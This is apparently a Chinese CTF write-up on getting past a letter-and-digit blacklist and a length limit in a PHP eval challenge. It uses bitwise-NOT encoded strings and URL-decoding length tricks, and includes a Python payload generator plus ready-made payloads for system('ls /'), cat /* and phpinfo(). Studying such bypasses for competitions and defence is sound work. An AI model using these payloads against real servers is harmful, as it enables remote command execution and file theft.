无字母数字 Webshell 绕过


无字母数字 Webshell 绕过(writeUp)

一、 题目核心限制分析

php 复制代码
<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}

这类题目的核心逻辑通常是:给你一个代码执行的口子(如 eval),但封死你常规的输入方式

本题有两大限制:

  1. 字符黑名单preg_match("/[A-Za-z0-9_$]+/", $code) ------ 禁用了所有大小写字母、数字、下划线 _、美元符号 $
  2. 长度白名单strlen($code) > 35 ------ 传入的字符串长度必须小于等于 35。

我们的目标 :在不使用上述字符,且极短的字数内,构造出类似 system('ls /'); 的有效 PHP 代码。


二、 核心破局原理:按位取反 (~)

既然不能直接写字母,那我们就让 PHP 自己把字母"算"出来。

1. 什么是按位取反?

在计算机中,字符以 ASCII 码存储。按位取反 ~ 就是将二进制的 0 变 1,1 变 0。在效果上,对于一个字符,取反相当于用 255 减去它的 ASCII 码

  • 字符 's' 的 ASCII 码是 115。
  • ~'s' 的 ASCII 码就是 255 - 115 = 140(十六进制 0x8C)。
  • 0x8C 是一个不可见的扩展 ASCII 字符,它不是字母,也不是数字,完美绕过正则!

2. 还原的过程

当 PHP 执行 ~"\x8C" 时,它又会把 0x8C 取反变回 0x73,也就是还原成了字母 's'

利用这个原理,我们把目标字符串(如 system)的每个字符都取反,拼成一个不可见字符串,再在前面加上 ~,PHP 就能还原出我们想要的函数名。


三、 长度限制绕过:URL 解码的"障眼法"

很多人会疑惑:~"%8C%86..." 这么长,怎么小于 35 个字符?

这里隐藏着一个极其重要的 Web 基础机制:HTTP 请求的 URL 编码与 PHP 的自动解码

  • 在浏览器 URL 栏中 :你输入 ?code=(~"%8C%86"),这里 %8C3个字符
  • 在 PHP 的 $_GET['code'] :PHP 引擎会自动将 URL 编码解析为原始的二进制字节。%8C 被解析为 1 个不可见字节。
  • strlen() 计算时 :计算的是解码后的长度!所以 ~"\x8C\x86" 的真实长度只有 1(取反符) + 1(引号) + 2(字节) + 1(引号) = 5 个字符。

这就是缩小长度的魔法所在。


四、 PHP 动态函数执行与版本差异

我们怎么执行取反后的结果呢?PHP 支持可变函数(动态调用)。

1. PHP 7+ 的写法(本题解法)

在 PHP 7 中,支持直接对表达式的结果加括号进行函数调用:
('system')('ls /'); 等价于 system('ls /');

结合取反,我们构造出:
(~"\x8C\x86\x8C\x8B\x9A\x92")(~"\x93\x8C\xDF\xD0");

2. PHP 5.x 的坑

在 PHP 5 中,不支持直接对表达式加括号调用 。你必须先将表达式赋值给一个变量:$a = ~"\x8C..."; $a('ls');

但这道题的正则过滤了 $,导致无法声明变量!因此,这种取反绕过方法是 PHP 7 的专属特性 ,在 PHP 5 环境下会报 unexpected '(' 的致命语法错误。


五、 实战利器:Payload 自动生成脚本

手算取反是不现实的,在 CTF 比赛中,必须拥有自己的快速生成脚本。

python 复制代码
# PHP 取反绕过 Payload 生成器
def generate_payload(func, arg):
    # 对函数名取反,生成 URL 编码格式
    func_negated = "".join([f"%{255 - ord(c):02X}" for c in func])
    # 对参数取反,生成 URL 编码格式
    arg_negated = "".join([f"%{255 - ord(c):02X}" for c in arg])
    
    # 拼接完整的 PHP 执行语句
    payload = f"(~\"{func_negated}\")(~\"{arg_negated}\");"
    return payload

# 示例:执行 system('cat /*');
print(generate_payload("system", "cat /*"))

(注:参数中使用 /* 通配符是缩短长度的神技,可以代替长长的文件名)


六、 避坑与排错指南(实战总结)

坑 1:环境差异导致的无回显(Windows vs Linux)

  • 现象:Payload 提交后页面一片空白。
  • 原因 :本地小皮面板是 Windows 环境,而你构造的命令是 ls。Windows 的 CMD 不认识 ls 命令,system() 执行失败直接返回空。
  • 排查 :换成 Windows 和 Linux 通用的命令测试,如 whoamidir。正式打比赛时,目标是 Linux 服务器,ls 就会生效。

坑 2:危险函数被禁用(disable_functions)

  • 现象:命令正确,环境也对,但还是空白。
  • 原因 :服务器的 php.ini 中开启了 disable_functions,把 systemexec 等执行系统命令的函数拉黑了。
  • 排查
    1. 先用 (~"%8F%97%8F%96%91%99%90")(); (即 phpinfo();)测试。如果能看到 PHPINFO 页面,说明取反绕过逻辑完全成功 ,只是 system 被禁了。
    2. 替代方案 A :尝试其他未禁用的命令函数,如 passthru
    3. 替代方案 B :放弃系统命令,使用纯 PHP 内置函数读取文件,如 echo file_get_contents('/flag');,将其转换为取反 Payload。

💡 核心思维导图总结

text 复制代码
无字母数字 Webshell
 ├── 核心思想:异构运算(把明文变成黑名单外的乱码,再让引擎还原)
 │
 ├── 绕过正则:按位取反 (~)
 │   └── 明文字符 -> 不可见字符 (绕过正则) -> 引擎取反还原 (执行代码)
 │
 ├── 绕过长度:利用 $_GET 自动 URL 解码
 │   └── URL中的 %XX (3字符) -> PHP中为 1字节 (大幅缩短长度)
 │
 ├── 执行方式:PHP7 动态函数调用
 │   └── (~"函数取反")(~"参数取反");
 │
 └── 排错思路:
      ├── 语法报错 -> 检查是否低于 PHP 7
      ├── 无回显 -> 检查是否在 Win 下执行了 Linux 命令
      └── 仍无回显 -> 检查 system 是否被禁,尝试 phpinfo 测试或换用文件读取函数
相关推荐
许长安1 小时前
互斥锁、自旋锁、读写锁使用场景以及底层实现
c++·经验分享·笔记
AdCj31 小时前
放弃第三方框架,用系统自带工具玩转 Shell 测试
shell·测试
智者知已应修善业2 小时前
【51单片机独立按键和定时器中断的疑惑验证】2023-11-2
c++·经验分享·笔记·算法·51单片机
handler012 小时前
滑动窗口(同向双指针)算法:模板与例题解析
c语言·c++·笔记·算法·蓝桥杯·双指针·滑动窗口
He BianGu2 小时前
【笔记】在WPF中在IValueConverter 时“无法返回有效值该怎么做”
笔记·wpf
白小沫2 小时前
TortoiseSVN 的快速安装与常用操作
经验分享·笔记
芋只因3 小时前
天机学堂学习笔记
java·笔记·学习
问心无愧05133 小时前
ctf show web入门91
android·前端·笔记
Genevieve_xiao3 小时前
【xjtuse】【数学建模】课程笔记(二)代数模型、微积分模型(上)
笔记·数学建模